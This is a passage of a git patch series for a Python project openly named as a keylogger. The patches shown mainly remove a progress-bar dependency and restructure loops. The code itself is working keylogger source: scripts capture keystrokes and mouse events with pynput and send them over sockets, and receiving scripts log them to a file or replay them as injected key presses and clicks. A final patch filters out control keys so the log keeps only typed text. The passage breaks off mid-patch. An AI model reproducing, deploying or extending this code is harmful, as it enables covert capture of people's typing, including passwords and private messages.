From 4eb152b8aa2cddb4a51cadd523c0079bd11389aa Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <danielweb@oakleys.org.uk>
Date: Thu, 10 Dec 2020 08:32:59 +0000
Subject: [PATCH 1/7] attempt at removing tqdm dependency

---
 Client/serversend - datalog.py                     | 8 +++-----
 Client/serversend - mirror - keyboardpress.py      | 4 +---
 Client/serversend - mirror - keyboardrelease.py    | 6 ++----
 Client/serversend - mirror - mouse.py              | 5 +----
 Server/KEY LOGGER - Mirror - KEYBOARD - release.py | 5 +----
 Server/KEY LOGGER - Mirror - KEYBOARD- press.py    | 5 +----
 Server/KEY LOGGER - Mirror - MOUSE.py              | 5 +----
 Server/KEY LOGGER - Normal.py                      | 7 ++-----
 8 files changed, 12 insertions(+), 33 deletions(-)

diff --git a/Client/serversend - datalog.py b/Client/serversend - datalog.py
index 2e43301..422c850 100644
--- a/Client/serversend - datalog.py	
+++ b/Client/serversend - datalog.py	
@@ -1,11 +1,11 @@
 import socket
 import os
-import tqdm
+
 # device's IP address
 SERVER_HOST = "127.0.0.1" #(socket.gethostbyname(socket.gethostname()))
 SERVER_PORT = 5001
 # receive 4096 bytes each time
-BUFFER_SIZE = 4096
+BUFFER_SIZE = 128
 SEPARATOR = "<SEPARATOR>"
 # create the server socket
 # TCP socket
@@ -31,7 +31,7 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+progress = "_"
 #with open(filename, "wb") as f:
 
 while True:
@@ -46,8 +46,6 @@ while True:
         f = open(filename, 'ab')
         f.write(bytes_read)
         print(bytes_read)
-        # update the progress bar
-        progress.update(len(bytes_read))
         f.close()
 
 # close the client socket
diff --git a/Client/serversend - mirror - keyboardpress.py b/Client/serversend - mirror - keyboardpress.py
index 2b774fb..81d19f8 100644
--- a/Client/serversend - mirror - keyboardpress.py	
+++ b/Client/serversend - mirror - keyboardpress.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 import pynput
 from pynput.keyboard import Key, Controller
                                                                         #press
@@ -36,7 +35,7 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+progress = "_"
 #with open(filename, "wb") as f:
 
 
@@ -55,7 +54,6 @@ while True:
         f = open(filename, 'wb')
         f.write(bytes_read)
         # update the progress bar
-        progress.update(len(bytes_read))
         f.close()
 
         g = open(filename, 'r')
diff --git a/Client/serversend - mirror - keyboardrelease.py b/Client/serversend - mirror - keyboardrelease.py
index 2e07d43..7e7cfc5 100644
--- a/Client/serversend - mirror - keyboardrelease.py	
+++ b/Client/serversend - mirror - keyboardrelease.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 import pynput
 from pynput.keyboard import Key, Controller
                                                                         #release
@@ -36,7 +35,7 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+progress = "_"
 #with open(filename, "wb") as f:
 
 
@@ -54,8 +53,7 @@ while True:
         # write to the file the bytes we just received
         f = open(filename, 'wb')
         f.write(bytes_read)
-        # update the progress bar
-        progress.update(len(bytes_read))
+        
         f.close()
 
         g = open(filename, 'r')
diff --git a/Client/serversend - mirror - mouse.py b/Client/serversend - mirror - mouse.py
index 12eb574..cba6898 100644
--- a/Client/serversend - mirror - mouse.py	
+++ b/Client/serversend - mirror - mouse.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 import pynput
 from pynput.mouse import Button, Controller
 import time
@@ -38,7 +37,7 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+progress = "_"
 #with open(filename, "wb") as f:
 
     
@@ -57,8 +56,6 @@ while True:
         # update the progress bar
         f = open(filename, 'wb')
         f.write(bytes_read)
-        # update the progress bar
-        progress.update(len(bytes_read))
         f.close()
 
         g = open(filename, 'r')
diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py
index e573895..ab19d43 100644
--- a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py	
+++ b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 from tkinter import *
 from pynput import keyboard
 
@@ -46,7 +45,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+    progress = "_"
     with open(filename, "rb") as f:
         for _ in progress:
             # read the bytes from the file
@@ -57,8 +56,6 @@ def sendfile():
             # we use sendall to assure transimission in 
             # busy networks
             s.sendall(bytes_read)
-            # update the progress bar
-            progress.update(len(bytes_read))
     # close the socket
     #s.close()
 
diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py
index d49bce3..ded6794 100644
--- a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py	
+++ b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 from tkinter import *
 from pynput import keyboard
 
@@ -45,7 +44,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+    progress = "_"
     with open(filename, "rb") as f:
         for _ in progress:
             # read the bytes from the file
@@ -56,8 +55,6 @@ def sendfile():
             # we use sendall to assure transimission in 
             # busy networks
             s.sendall(bytes_read)
-            # update the progress bar
-            progress.update(len(bytes_read))
     # close the socket
     #s.close()
 
diff --git a/Server/KEY LOGGER - Mirror - MOUSE.py b/Server/KEY LOGGER - Mirror - MOUSE.py
index 30804a9..4472459 100644
--- a/Server/KEY LOGGER - Mirror - MOUSE.py	
+++ b/Server/KEY LOGGER - Mirror - MOUSE.py	
@@ -1,6 +1,5 @@
 import socket
 import os
-import tqdm
 from pynput import keyboard
 from pynput.mouse import Button, Controller
 from pynput import mouse
@@ -33,7 +32,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+    progress = "_"
     with open(filename, "rb") as f:
         for _ in progress:
             # read the bytes from the file
@@ -44,8 +43,6 @@ def sendfile():
             # we use sendall to assure transimission in 
             # busy networks
             s.sendall(bytes_read)
-            # update the progress bar
-            progress.update(len(bytes_read))
     # close the socket
     #s.close()
 
diff --git a/Server/KEY LOGGER - Normal.py b/Server/KEY LOGGER - Normal.py
index 7ef8e97..1c7a854 100644
--- a/Server/KEY LOGGER - Normal.py	
+++ b/Server/KEY LOGGER - Normal.py	
@@ -1,12 +1,11 @@
 import socket
 import os
-import tqdm
 from pynput import keyboard
 
 
 
 SEPARATOR = "<SEPARATOR>"
-BUFFER_SIZE = 4096 # send 4096 bytes each time step
+BUFFER_SIZE = 128 # send 4096 bytes each time step
 
 
 # the ip address or hostname of the server, the receiver
@@ -30,7 +29,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+    progress = "_"
     with open(filename, "rb") as f:
         for _ in progress:
             # read the bytes from the file
@@ -41,8 +40,6 @@ def sendfile():
             # we use sendall to assure transimission in 
             # busy networks
             s.sendall(bytes_read)
-            # update the progress bar
-            progress.update(len(bytes_read))
     # close the socket
     #s.close()
 

From 49043632880de1ce79e3ff0a2292872b8f4ece1f Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <danielweb@oakleys.org.uk>
Date: Thu, 10 Dec 2020 08:44:59 +0000
Subject: [PATCH 2/7] clean up removal of tqdm

---
 Client/serversend - datalog.py                |  25 +--
 Client/serversend - mirror - keyboardpress.py | 208 +++++++++---------
 .../serversend - mirror - keyboardrelease.py  | 204 +++++++++--------
 ...EY LOGGER - Mirror - KEYBOARD - release.py |   3 +-
 .../KEY LOGGER - Mirror - KEYBOARD- press.py  |   3 +-
 Server/KEY LOGGER - Mirror - MOUSE.py         |   3 +-
 Server/KEY LOGGER - Normal.py                 |   3 +-
 7 files changed, 220 insertions(+), 229 deletions(-)

diff --git a/Client/serversend - datalog.py b/Client/serversend - datalog.py
index 422c850..3a86cd1 100644
--- a/Client/serversend - datalog.py	
+++ b/Client/serversend - datalog.py	
@@ -31,22 +31,21 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = "_"
+
 #with open(filename, "wb") as f:
 
 while True:
-    for _ in progress:
-        # read 1024 bytes from the socket (receive)
-        bytes_read = client_socket.recv(BUFFER_SIZE)
-        if not bytes_read:    
-            # nothing is received
-            # file transmitting is done take another time
-            break
-        # write to the file the bytes we just received
-        f = open(filename, 'ab')
-        f.write(bytes_read)
-        print(bytes_read)
-        f.close()
+    # read 1024 bytes from the socket (receive)
+    bytes_read = client_socket.recv(BUFFER_SIZE)
+    if not bytes_read:    
+        # nothing is received
+        # file transmitting is done take another time
+        break
+    # write to the file the bytes we just received
+    f = open(filename, 'ab')
+    f.write(bytes_read)
+    print(bytes_read)
+    f.close()
 
 # close the client socket
 #client_socket.close()
diff --git a/Client/serversend - mirror - keyboardpress.py b/Client/serversend - mirror - keyboardpress.py
index 81d19f8..87dbc6e 100644
--- a/Client/serversend - mirror - keyboardpress.py	
+++ b/Client/serversend - mirror - keyboardpress.py	
@@ -35,119 +35,117 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = "_"
 #with open(filename, "wb") as f:
 
 
 def pressRrelease_char(char):
-        keyboard.press(char)
+    keyboard.press(char)
 
 while True:
-    for _ in progress:
-        # read 1024 bytes from the socket (receive)
-        bytes_read = client_socket.recv(BUFFER_SIZE)
-        if not bytes_read:    
-            # nothing is received
-            # file transmitting is done take another time
-            break
-        # write to the file the bytes we just received
-        f = open(filename, 'wb')
-        f.write(bytes_read)
-        # update the progress bar
-        f.close()
+    # read 1024 bytes from the socket (receive)
+    bytes_read = client_socket.recv(BUFFER_SIZE)
+    if not bytes_read:    
+        # nothing is received
+        # file transmitting is done take another time
+        break
+    # write to the file the bytes we just received
+    f = open(filename, 'wb')
+    f.write(bytes_read)
+    # update the progress bar
+    f.close()
+
+    g = open(filename, 'r')
+    ge = g.read()
+
+    print (ge)
+    try:
+        if (ge == "Key.enter"):
+            pressRrelease_char(Key.enter)
+        elif (ge == "Key.shift"):
+            pressRrelease_char(Key.shift)
+        elif (ge == "Key.space"):
+            pressRrelease_char(Key.space)
+        elif (ge == "Key.backspace"):
+            pressRrelease_char(Key.backspace)
+        elif (ge == "Key.ctrl_r"):
+            pressRrelease_char(Key.ctrl_r)
+        elif (ge == "Key.ctrl_l"):
+            pressRrelease_char(Key.ctrl_l)
+        elif (ge == "Key.shift_r"):
+            pressRrelease_char(Key.shift_r)
+        elif (ge == "Key.alt_l"):
+            pressRrelease_char(Key.alt_l)
+        elif (ge == "Key.alt_r"):
+            pressRrelease_char(Key.alt_r)
+        elif (ge == "Key.cmd"):
+            pressRrelease_char(Key.cmd)
+        elif (ge == "Key.caps_lock"):
+            pressRrelease_char(Key.caps_lock)
+        elif (ge == "Key.tab"):
+            pressRrelease_char(Key.tab)
+        elif (ge == "Key.f1"):
+            pressRrelease_char(Key.f1)
+        elif (ge == "Key.f2"):
+            pressRrelease_char(Key.f2)
+        elif (ge == "Key.f3"):
+            pressRrelease_char(Key.f3)
+        elif (ge == "Key.f4"):
+            pressRrelease_char(Key.f4)
+        elif (ge == "Key.f5"):
+            pressRrelease_char(Key.f5)
+        elif (ge == "Key.f6"):
+            pressRrelease_char(Key.f6)
+        elif (ge == "Key.f7"):
+            pressRrelease_char(Key.f7)
+        elif (ge == "Key.f8"):
+            pressRrelease_char(Key.f8)
+        elif (ge == "Key.f9"):
+            pressRrelease_char(Key.f9)
+        elif (ge == "Key.f10"):
+            pressRrelease_char(Key.f10)
+        elif (ge == "Key.f11"):
+            pressRrelease_char(Key.f11)
+        elif (ge == "Key.f12"):
+            pressRrelease_char(Key.f12)
+        elif (ge == "Key.esc"):
+            pressRrelease_char(Key.esc)
+        elif (ge == "Key.insert"):
+            pressRrelease_char(Key.insert)
+        elif (ge == "Key.delete"):
+            pressRrelease_char(Key.delete)
+        elif (ge == "Key.end"):
+            pressRrelease_char(Key.end)
+        elif (ge == "Key.num_lock"):
+            pressRrelease_char(Key.num_lock)
+        elif (ge == "Key.home"):
+            pressRrelease_char(Key.home)
+        elif (ge == "Key.page_up"):
+            pressRrelease_char(Key.page_up)
+        elif (ge == "Key.page_down"):
+            pressRrelease_char(Key.page_down)
+        elif (ge == "Key.pause"):
+            pressRrelease_char(Key.pause)
+        elif (ge == "Key.scroll_lock"):
+            pressRrelease_char(Key.scroll_lock)
+        elif (ge == "Key.menu"):
+            pressRrelease_char(Key.menu)
+        elif (ge == "Key.print_screen"):
+            pressRrelease_char(Key.print_screen)
+        elif (ge == "Key.left"):
+            pressRrelease_char(Key.left)
+        elif (ge == "Key.up"):
+            pressRrelease_char(Key.up)
+        elif (ge == "Key.right"):
+            pressRrelease_char(Key.right)
+        elif (ge == "Key.down"):
+            pressRrelease_char(Key.down)
+        else:
+            pressRrelease_char((ge))
+    except:
+        print("an error occured with  ", ge)
+    g.close()
 
-        g = open(filename, 'r')
-        ge = g.read()
     
-        print (ge)
-        try:
-            if (ge == "Key.enter"):
-                pressRrelease_char(Key.enter)
-            elif (ge == "Key.shift"):
-                pressRrelease_char(Key.shift)
-            elif (ge == "Key.space"):
-                pressRrelease_char(Key.space)
-            elif (ge == "Key.backspace"):
-                pressRrelease_char(Key.backspace)
-            elif (ge == "Key.ctrl_r"):
-                pressRrelease_char(Key.ctrl_r)
-            elif (ge == "Key.ctrl_l"):
-                pressRrelease_char(Key.ctrl_l)
-            elif (ge == "Key.shift_r"):
-                pressRrelease_char(Key.shift_r)
-            elif (ge == "Key.alt_l"):
-                pressRrelease_char(Key.alt_l)
-            elif (ge == "Key.alt_r"):
-                pressRrelease_char(Key.alt_r)
-            elif (ge == "Key.cmd"):
-                pressRrelease_char(Key.cmd)
-            elif (ge == "Key.caps_lock"):
-                pressRrelease_char(Key.caps_lock)
-            elif (ge == "Key.tab"):
-                pressRrelease_char(Key.tab)
-            elif (ge == "Key.f1"):
-                pressRrelease_char(Key.f1)
-            elif (ge == "Key.f2"):
-                pressRrelease_char(Key.f2)
-            elif (ge == "Key.f3"):
-                pressRrelease_char(Key.f3)
-            elif (ge == "Key.f4"):
-                pressRrelease_char(Key.f4)
-            elif (ge == "Key.f5"):
-                pressRrelease_char(Key.f5)
-            elif (ge == "Key.f6"):
-                pressRrelease_char(Key.f6)
-            elif (ge == "Key.f7"):
-                pressRrelease_char(Key.f7)
-            elif (ge == "Key.f8"):
-                pressRrelease_char(Key.f8)
-            elif (ge == "Key.f9"):
-                pressRrelease_char(Key.f9)
-            elif (ge == "Key.f10"):
-                pressRrelease_char(Key.f10)
-            elif (ge == "Key.f11"):
-                pressRrelease_char(Key.f11)
-            elif (ge == "Key.f12"):
-                pressRrelease_char(Key.f12)
-            elif (ge == "Key.esc"):
-                pressRrelease_char(Key.esc)
-            elif (ge == "Key.insert"):
-                pressRrelease_char(Key.insert)
-            elif (ge == "Key.delete"):
-                pressRrelease_char(Key.delete)
-            elif (ge == "Key.end"):
-                pressRrelease_char(Key.end)
-            elif (ge == "Key.num_lock"):
-                pressRrelease_char(Key.num_lock)
-            elif (ge == "Key.home"):
-                pressRrelease_char(Key.home)
-            elif (ge == "Key.page_up"):
-                pressRrelease_char(Key.page_up)
-            elif (ge == "Key.page_down"):
-                pressRrelease_char(Key.page_down)
-            elif (ge == "Key.pause"):
-                pressRrelease_char(Key.pause)
-            elif (ge == "Key.scroll_lock"):
-                pressRrelease_char(Key.scroll_lock)
-            elif (ge == "Key.menu"):
-                pressRrelease_char(Key.menu)
-            elif (ge == "Key.print_screen"):
-                pressRrelease_char(Key.print_screen)
-            elif (ge == "Key.left"):
-                pressRrelease_char(Key.left)
-            elif (ge == "Key.up"):
-                pressRrelease_char(Key.up)
-            elif (ge == "Key.right"):
-                pressRrelease_char(Key.right)
-            elif (ge == "Key.down"):
-                pressRrelease_char(Key.down)
-            else:
-                pressRrelease_char((ge))
-        except:
-            print("an error occured with  ", ge)
-        g.close()
-
-        
 
 # close the client socket
 #client_socket.close()
diff --git a/Client/serversend - mirror - keyboardrelease.py b/Client/serversend - mirror - keyboardrelease.py
index 7e7cfc5..0018dd7 100644
--- a/Client/serversend - mirror - keyboardrelease.py	
+++ b/Client/serversend - mirror - keyboardrelease.py	
@@ -35,7 +35,6 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = "_"
 #with open(filename, "wb") as f:
 
 
@@ -43,109 +42,108 @@ def pressRrelease_char(char):
         keyboard.release(char)
 
 while True:
-    for _ in progress:
-        # read 1024 bytes from the socket (receive)
-        bytes_read = client_socket.recv(BUFFER_SIZE)
-        if not bytes_read:    
-            # nothing is received
-            # file transmitting is done take another time
-            break
-        # write to the file the bytes we just received
-        f = open(filename, 'wb')
-        f.write(bytes_read)
-        
-        f.close()
-
-        g = open(filename, 'r')
-        ge = g.read()
+    # read 1024 bytes from the socket (receive)
+    bytes_read = client_socket.recv(BUFFER_SIZE)
+    if not bytes_read:    
+        # nothing is received
+        # file transmitting is done take another time
+        break
+    # write to the file the bytes we just received
+    f = open(filename, 'wb')
+    f.write(bytes_read)
     
-        print (ge)
-        try:
-            if (ge == "Key.enter"):
-                pressRrelease_char(Key.enter)
-            elif (ge == "Key.shift"):
-                pressRrelease_char(Key.shift)
-            elif (ge == "Key.space"):
-                pressRrelease_char(Key.space)
-            elif (ge == "Key.backspace"):
-                pressRrelease_char(Key.backspace)
-            elif (ge == "Key.ctrl_r"):
-                pressRrelease_char(Key.ctrl_r)
-            elif (ge == "Key.ctrl_l"):
-                pressRrelease_char(Key.ctrl_l)
-            elif (ge == "Key.shift_r"):
-                pressRrelease_char(Key.shift_r)
-            elif (ge == "Key.alt_l"):
-                pressRrelease_char(Key.alt_l)
-            elif (ge == "Key.alt_r"):
-                pressRrelease_char(Key.alt_r)
-            elif (ge == "Key.cmd"):
-                pressRrelease_char(Key.cmd)
-            elif (ge == "Key.caps_lock"):
-                pressRrelease_char(Key.caps_lock)
-            elif (ge == "Key.tab"):
-                pressRrelease_char(Key.tab)
-            elif (ge == "Key.f1"):
-                pressRrelease_char(Key.f1)
-            elif (ge == "Key.f2"):
-                pressRrelease_char(Key.f2)
-            elif (ge == "Key.f3"):
-                pressRrelease_char(Key.f3)
-            elif (ge == "Key.f4"):
-                pressRrelease_char(Key.f4)
-            elif (ge == "Key.f5"):
-                pressRrelease_char(Key.f5)
-            elif (ge == "Key.f6"):
-                pressRrelease_char(Key.f6)
-            elif (ge == "Key.f7"):
-                pressRrelease_char(Key.f7)
-            elif (ge == "Key.f8"):
-                pressRrelease_char(Key.f8)
-            elif (ge == "Key.f9"):
-                pressRrelease_char(Key.f9)
-            elif (ge == "Key.f10"):
-                pressRrelease_char(Key.f10)
-            elif (ge == "Key.f11"):
-                pressRrelease_char(Key.f11)
-            elif (ge == "Key.f12"):
-                pressRrelease_char(Key.f12)
-            elif (ge == "Key.esc"):
-                pressRrelease_char(Key.esc)
-            elif (ge == "Key.insert"):
-                pressRrelease_char(Key.insert)
-            elif (ge == "Key.delete"):
-                pressRrelease_char(Key.delete)
-            elif (ge == "Key.end"):
-                pressRrelease_char(Key.end)
-            elif (ge == "Key.num_lock"):
-                pressRrelease_char(Key.num_lock)
-            elif (ge == "Key.home"):
-                pressRrelease_char(Key.home)
-            elif (ge == "Key.page_up"):
-                pressRrelease_char(Key.page_up)
-            elif (ge == "Key.page_down"):
-                pressRrelease_char(Key.page_down)
-            elif (ge == "Key.pause"):
-                pressRrelease_char(Key.pause)
-            elif (ge == "Key.scroll_lock"):
-                pressRrelease_char(Key.scroll_lock)
-            elif (ge == "Key.menu"):
-                pressRrelease_char(Key.menu)
-            elif (ge == "Key.print_screen"):
-                pressRrelease_char(Key.print_screen)
-            elif (ge == "Key.left"):
-                pressRrelease_char(Key.left)
-            elif (ge == "Key.up"):
-                pressRrelease_char(Key.up)
-            elif (ge == "Key.right"):
-                pressRrelease_char(Key.right)
-            elif (ge == "Key.down"):
-                pressRrelease_char(Key.down)
-            else:
-                pressRrelease_char((ge))
-        except:
-            print("an error occured with  ", ge)
-        g.close()
+    f.close()
+
+    g = open(filename, 'r')
+    ge = g.read()
+
+    print (ge)
+    try:
+        if (ge == "Key.enter"):
+            pressRrelease_char(Key.enter)
+        elif (ge == "Key.shift"):
+            pressRrelease_char(Key.shift)
+        elif (ge == "Key.space"):
+            pressRrelease_char(Key.space)
+        elif (ge == "Key.backspace"):
+            pressRrelease_char(Key.backspace)
+        elif (ge == "Key.ctrl_r"):
+            pressRrelease_char(Key.ctrl_r)
+        elif (ge == "Key.ctrl_l"):
+            pressRrelease_char(Key.ctrl_l)
+        elif (ge == "Key.shift_r"):
+            pressRrelease_char(Key.shift_r)
+        elif (ge == "Key.alt_l"):
+            pressRrelease_char(Key.alt_l)
+        elif (ge == "Key.alt_r"):
+            pressRrelease_char(Key.alt_r)
+        elif (ge == "Key.cmd"):
+            pressRrelease_char(Key.cmd)
+        elif (ge == "Key.caps_lock"):
+            pressRrelease_char(Key.caps_lock)
+        elif (ge == "Key.tab"):
+            pressRrelease_char(Key.tab)
+        elif (ge == "Key.f1"):
+            pressRrelease_char(Key.f1)
+        elif (ge == "Key.f2"):
+            pressRrelease_char(Key.f2)
+        elif (ge == "Key.f3"):
+            pressRrelease_char(Key.f3)
+        elif (ge == "Key.f4"):
+            pressRrelease_char(Key.f4)
+        elif (ge == "Key.f5"):
+            pressRrelease_char(Key.f5)
+        elif (ge == "Key.f6"):
+            pressRrelease_char(Key.f6)
+        elif (ge == "Key.f7"):
+            pressRrelease_char(Key.f7)
+        elif (ge == "Key.f8"):
+            pressRrelease_char(Key.f8)
+        elif (ge == "Key.f9"):
+            pressRrelease_char(Key.f9)
+        elif (ge == "Key.f10"):
+            pressRrelease_char(Key.f10)
+        elif (ge == "Key.f11"):
+            pressRrelease_char(Key.f11)
+        elif (ge == "Key.f12"):
+            pressRrelease_char(Key.f12)
+        elif (ge == "Key.esc"):
+            pressRrelease_char(Key.esc)
+        elif (ge == "Key.insert"):
+            pressRrelease_char(Key.insert)
+        elif (ge == "Key.delete"):
+            pressRrelease_char(Key.delete)
+        elif (ge == "Key.end"):
+            pressRrelease_char(Key.end)
+        elif (ge == "Key.num_lock"):
+            pressRrelease_char(Key.num_lock)
+        elif (ge == "Key.home"):
+            pressRrelease_char(Key.home)
+        elif (ge == "Key.page_up"):
+            pressRrelease_char(Key.page_up)
+        elif (ge == "Key.page_down"):
+            pressRrelease_char(Key.page_down)
+        elif (ge == "Key.pause"):
+            pressRrelease_char(Key.pause)
+        elif (ge == "Key.scroll_lock"):
+            pressRrelease_char(Key.scroll_lock)
+        elif (ge == "Key.menu"):
+            pressRrelease_char(Key.menu)
+        elif (ge == "Key.print_screen"):
+            pressRrelease_char(Key.print_screen)
+        elif (ge == "Key.left"):
+            pressRrelease_char(Key.left)
+        elif (ge == "Key.up"):
+            pressRrelease_char(Key.up)
+        elif (ge == "Key.right"):
+            pressRrelease_char(Key.right)
+        elif (ge == "Key.down"):
+            pressRrelease_char(Key.down)
+        else:
+            pressRrelease_char((ge))
+    except:
+        print("an error occured with  ", ge)
+    g.close()
 
         
 
diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py
index ab19d43..8e06d36 100644
--- a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py	
+++ b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py	
@@ -45,9 +45,8 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = "_"
     with open(filename, "rb") as f:
-        for _ in progress:
+        while True:
             # read the bytes from the file
             bytes_read = f.read(BUFFER_SIZE)
             if not bytes_read:
diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py
index ded6794..b62b1de 100644
--- a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py	
+++ b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py	
@@ -44,9 +44,8 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = "_"
     with open(filename, "rb") as f:
-        for _ in progress:
+        while True:
             # read the bytes from the file
             bytes_read = f.read(BUFFER_SIZE)
             if not bytes_read:
diff --git a/Server/KEY LOGGER - Mirror - MOUSE.py b/Server/KEY LOGGER - Mirror - MOUSE.py
index 4472459..67edfa2 100644
--- a/Server/KEY LOGGER - Mirror - MOUSE.py	
+++ b/Server/KEY LOGGER - Mirror - MOUSE.py	
@@ -32,9 +32,8 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = "_"
     with open(filename, "rb") as f:
-        for _ in progress:
+        while True:
             # read the bytes from the file
             bytes_read = f.read(BUFFER_SIZE)
             if not bytes_read:
diff --git a/Server/KEY LOGGER - Normal.py b/Server/KEY LOGGER - Normal.py
index 1c7a854..8d6bb84 100644
--- a/Server/KEY LOGGER - Normal.py	
+++ b/Server/KEY LOGGER - Normal.py	
@@ -29,9 +29,8 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode())
 
 def sendfile():
     # start sending the file
-    progress = "_"
     with open(filename, "rb") as f:
-        for _ in progress:
+        while True:
             # read the bytes from the file
             bytes_read = f.read(BUFFER_SIZE)
             if not bytes_read:

From b9c4b014c2e28c48d023fd0974f874b72b500182 Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <danielweb@oakleys.org.uk>
Date: Thu, 10 Dec 2020 08:45:54 +0000
Subject: [PATCH 3/7] clean up removal of tqdm

---
 Client/serversend - mirror - mouse.py | 76 +++++++++++++--------------
 1 file changed, 37 insertions(+), 39 deletions(-)

diff --git a/Client/serversend - mirror - mouse.py b/Client/serversend - mirror - mouse.py
index cba6898..5654154 100644
--- a/Client/serversend - mirror - mouse.py	
+++ b/Client/serversend - mirror - mouse.py	
@@ -37,55 +37,53 @@ filename = os.path.basename(filename)
 filesize = int(filesize)
 # start receiving the file from the socket
 # and writing to the file stream
-progress = "_"
 #with open(filename, "wb") as f:
 
     
 
 
 while True:
-    for _ in progress:
-        # read 1024 bytes from the socket (receive)
-        bytes_read = client_socket.recv(BUFFER_SIZE)
-        if not bytes_read:    
-            # nothing is received
-            # file transmitting is done take another time
-            break
-        # write to the file the bytes we just received
+    # read 1024 bytes from the socket (receive)
+    bytes_read = client_socket.recv(BUFFER_SIZE)
+    if not bytes_read:    
+        # nothing is received
+        # file transmitting is done take another time
+        break
+    # write to the file the bytes we just received
 
-        # update the progress bar
-        f = open(filename, 'wb')
-        f.write(bytes_read)
-        f.close()
+    # update the progress bar
+    f = open(filename, 'wb')
+    f.write(bytes_read)
+    f.close()
 
-        g = open(filename, 'r')
-        ge = g.read()
-        print (ge)
+    g = open(filename, 'r')
+    ge = g.read()
+    print (ge)
+    
+    TrR = ge[0:1]
+    ge = ge[1:]
+    
+    try:
+        y = int(ge[((int(ge.find(',')+1))):])
+        x = int(ge[:(int(ge.find(',')))])
         
-        TrR = ge[0:1]
-        ge = ge[1:]
+
+        print(x)
+        print(y)
+        mouse.position = (x,y)
+        if (TrR == 'R'):
+            mouse.click(Button.right, 1)
+            print (TrR)
+
+        else:
+            mouse.click(Button.left, 1)
+            print (TrR)
+
         
-        try:
-            y = int(ge[((int(ge.find(',')+1))):])
-            x = int(ge[:(int(ge.find(',')))])
-            
-
-            print(x)
-            print(y)
-            mouse.position = (x,y)
-            if (TrR == 'R'):
-                mouse.click(Button.right, 1)
-                print (TrR)
-
-            else:
-                mouse.click(Button.left, 1)
-                print (TrR)
-
-            
-        except:
-            print ("error")
-        
-        g.close()
+    except:
+        print ("error")
+    
+    g.close()
 
         
 

From 3fb89cdaa24ab67ae2a0fbf48731265e206450e2 Mon Sep 17 00:00:00 2001
From: CactiChameleon9 <danielweb@oakleys.org.uk>
Date: Thu, 10 Dec 2020 10:10:32 +0000
Subject: [PATCH 4/7] remove the logging of non-text keys

---
 Client/serversend - datalog.py | 3 ++-
 Server/KEY LOGGER - Normal.py  | 2 +-
 data.txt                       | 1 +
 3 files changed, 4 insertions(+), 2 deletions(-)
 create mode 100644 data.txt

diff --git a/Client/serversend - datalog.py b/Client/serversend - datalog.py
index 3a86cd1..59bd6aa 100644
--- a/Client/serversend - datalog.py	
+++ b/Client/serversend - datalog.py	
@@ -43,7 +43,8 @@ while True:
         break
     # write to the file the bytes we just received
     f = open(filename, 'ab')
-    f.write(bytes_read)
+    if (bytes_read.find("Key") == -1): #don't write shifts and controls
